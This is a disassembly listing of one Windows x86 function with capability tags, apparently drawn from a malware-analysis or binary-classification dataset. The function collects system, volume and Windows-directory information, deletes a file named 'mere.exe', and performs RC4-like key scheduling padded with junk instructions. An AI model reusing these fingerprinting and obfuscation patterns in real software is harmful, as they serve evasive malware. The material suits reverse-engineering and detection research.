Function at 0x4028b0
Capabilities:
Delete file
Get common file path
Get disk information
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5a4
push ebx
push esi
push edi
mov dword [ebp - 0x2f4], 2
lea eax, [ebp - 0x2c4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [ebp - 0x30c], 0x40f8
call fcn.00402830
mov ecx, dword [ebp - 0x2b0]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x2c0]
mov dword [ebp - 0x308], edx
mov eax, dword [ebp - 0x2ac]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x2b4]
mov dword [ebp - 0x2f0], ecx
mov dword [ebp - 8], 0
jmp 0x40291e
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov edi, 0x40a9dc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
cmp dword [ebp - 8], ecx
jae 0x402951
mov eax, dword [ebp - 8]
movsx ecx, byte [eax + 0x40a9dc]
cmp ecx, 0x5c
jne 0x40294f
mov edx, dword [ebp - 8]
mov byte [edx + 0x40a9dd], 0
jmp 0x402951
jmp 0x402915
mov dword [ebp - 0x2d0], 0
push 0x105
push 0x4705d8
lea eax, [ebp - 0x2d0]
push eax
push 0x4706e4
push 0x4706e0
push 0x105
push 0x4704d0
push 0x40a9dc
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x4029d8
push 0xa
push 0x40ae04
mov ecx, dword [0x4706e0]
push ecx
call fcn.00406216
add esp, 0xc
mov edi, 0x40ae04
mov edx, 0x40adb8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
add edi, 0xffffffff
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0xa
push 0x40ae04
mov eax, dword [ebp - 0x34]
push eax
call fcn.00406216
add esp, 0xc
mov dword [ebp - 0x38], 0x1ae9
mov edi, 0x40ae04
mov edx, 0x40adb8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
add edi, 0xffffffff
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x2dc], 0xffffd5cc
push 0xa
push 0x40ae04
mov eax, dword [ebp - 0x308]
push eax
call fcn.00406216
add esp, 0xc
mov dword [ebp - 0x580], 0x1873
mov edi, 0x40ae04
mov edx, 0x40adb8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
add edi, 0xffffffff
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp dword [0x46c930], 0x9af
jne 0x402a95
mov byte [0x4703a2], 0x58
push 0xa
push 0x40ae04
mov eax, dword [ebp - 0xc]
push eax
call fcn.00406216
add esp, 0xc
mov dword [ebp - 0x2ec], 4
mov edi, 0x40ae04
mov edx, 0x40adb8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
add edi, 0xffffffff
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0xa
push 0x40ae04
mov eax, dword [ebp - 0x2f0]
push eax
call fcn.00406216
add esp, 0xc
cmp dword [0x46c930], 0x49ed
jne 0x402b0e
mov byte [0x4703ce], 0x4b
mov edi, 0x40ae04
mov edx, 0x40adb8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
add edi, 0xffffffff
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x3c], 0xffffdc1a
mov dword [ebp - 0x57c], 0
push 0
push 0x4704c4
lea eax, [ebp - 0x57c]
push eax
push 0x4704b4
call fcn.00402670
add esp, 0x10
mov dword [ebp - 0x2cc], 0xcadc010
mov dword [ebp - 0x2a0], 2
push 0x5e
push 0x40a9dc
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x28], 2
mov dword [ebp - 0x24], 3
mov dword [ebp - 0x20], 4
mov dword [ebp - 0x1c], 5
mov byte [ebp - 0x304], 0x61
mov byte [ebp - 0x303], 0x62
mov byte [ebp - 0x302], 0x63
mov byte [ebp - 0x301], 0x64
mov byte [ebp - 0x300], 0x65
xor ecx, ecx
mov byte [ebp - 0x2ff], cl
lea edx, [ebp - 0x30]
mov dword [ebp - 0x2e8], edx
mov dword [ebp - 0x2e4], 0
jmp 0x402c07
mov eax, dword [ebp - 0x2e4]
add eax, 1
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 5
jge 0x402c21
mov ecx, dword [ebp - 0x2e8]
add ecx, 4
mov dword [ebp - 0x2e8], ecx
jmp 0x402bf8
mov dword [ebp - 0x574], 0x5d5a
push str.mere.exe
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [0x46db4c]
cdq
mov ecx, 0x4cd3
idiv ecx
mov dword [0x40ae00], eax
lea edx, [ebp - 0x304]
mov dword [ebp - 0x2e8], edx
mov dword [ebp - 0x2e4], 0
jmp 0x402c6f
mov eax, dword [ebp - 0x2e4]
add eax, 1
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 5
jge 0x402c89
mov ecx, dword [ebp - 0x2e8]
add ecx, 1
mov dword [ebp - 0x2e8], ecx
jmp 0x402c60
mov dword [ebp - 0x2c8], 0
jmp 0x402ca4
mov edx, dword [ebp - 0x2c8]
add edx, 1
mov dword [ebp - 0x2c8], edx
cmp dword [ebp - 0x2c8], 0x61a80
jge 0x402cd3
mov dword [ebp - 0x588], 0x1121
mov eax, dword [ebp - 0x2c8]
mov byte [eax + 0x40aea4], 0x51
mov dword [ebp - 0x584], 0xc
jmp 0x402c95
mov dword [ebp - 0x2e0], 0x21a2
mov dword [ebp - 0x578], 0x1307ec88
push 0x100
call fcn.00402f2b
add esp, 4
mov dword [ebp - 0x5a0], eax
mov ecx, dword [ebp - 0x5a0]
mov dword [ebp - 0x18], ecx
mov eax, dword [0x46db4c]
cdq
mov ecx, 0x3383
idiv ecx
mov dword [0x40ae00], eax
mov eax, dword [0x46db4c]
cdq
mov ecx, 0x3df3
idiv ecx
mov eax, dword [0x40ae00]
imul eax, edx
mov dword [0x46db4c], eax
push 0x100
call fcn.00402f2b
add esp, 4
mov dword [ebp - 0x5a4], eax
mov ecx, dword [ebp - 0x5a4]
mov dword [ebp - 0x2fc], ecx
mov dword [ebp - 0x570], 0x36ed
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x14], 0
jmp 0x402d71
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], 0x100
jge 0x402db7
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x14]
mov cl, byte [ebp - 0x14]
mov byte [eax], cl
mov eax, dword [0x46db4c]
cdq
mov ecx, 0x2087
idiv ecx
mov dword [0x40ae00], eax
mov eax, dword [ebp - 0x14]
xor edx, edx
mov ecx, 0x258
div ecx
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x14]
mov cl, byte [ebp + edx - 0x29c]
mov byte [eax], cl
jmp 0x402d68
mov dword [ebp - 0x10], 1
mov dword [ebp - 0x2f8], 0
mov dword [ebp - 0x44], 0x710f
mov dword [ebp - 0x14], 0
jmp 0x402de1
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], 0x100
jge 0x402e7a
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x14]
xor ecx, ecx
mov cl, byte [eax]
mov edx, dword [ebp - 0x2f8]
add edx, ecx
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x14]
xor ecx, ecx
mov cl, byte [eax]
add edx, ecx
and edx, 0x800000ff
jns 0x402e1f
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 0x2f8], edx
mov dword [ebp - 0x594], 0x13c44ec7
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x14]
mov al, byte [edx]
mov byte [ebp - 0x2d8], al
mov dword [ebp - 0x590], 0x1f2ca50
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x2f8]
mov al, byte [edx]
mov byte [ecx], al
mov dword [ebp - 0x58c], 1
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x2f8]
mov dl, byte [ebp - 0x2d8]
mov byte [ecx], dl
jmp 0x402dd8
mov dword [ebp - 0x568], 0x7aa4
mov dword [ebp - 0x2f8], 0
mov eax, dword [ebp - 0x2f8]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x56c], 0x7048
mov dword [ebp - 0x2d4], 0
jmp 0x402ebc
mov ecx, dword [ebp - 0x2d4]
add ecx, 1
mov dword [ebp - 0x2d4], ecx
cmp dword [ebp - 0x2d4], 4
jae 0x402f14
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x14]
mov al, byte [edx]
mov byte [ebp - 0x2d8], al
mov dword [ebp - 0x59c], 4
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x2f8]
mov al, byte [edx]
mov byte [ecx], al
mov byte [0x4703f4], 0x41
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x2f8]
mov dl, byte [ebp - 0x2d8]
mov byte [ecx], dl
mov dword [ebp - 0x598], 3
jmp 0x402ead
mov dword [ebp - 0x40], 0xd8c635d
call fcn.00402030
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10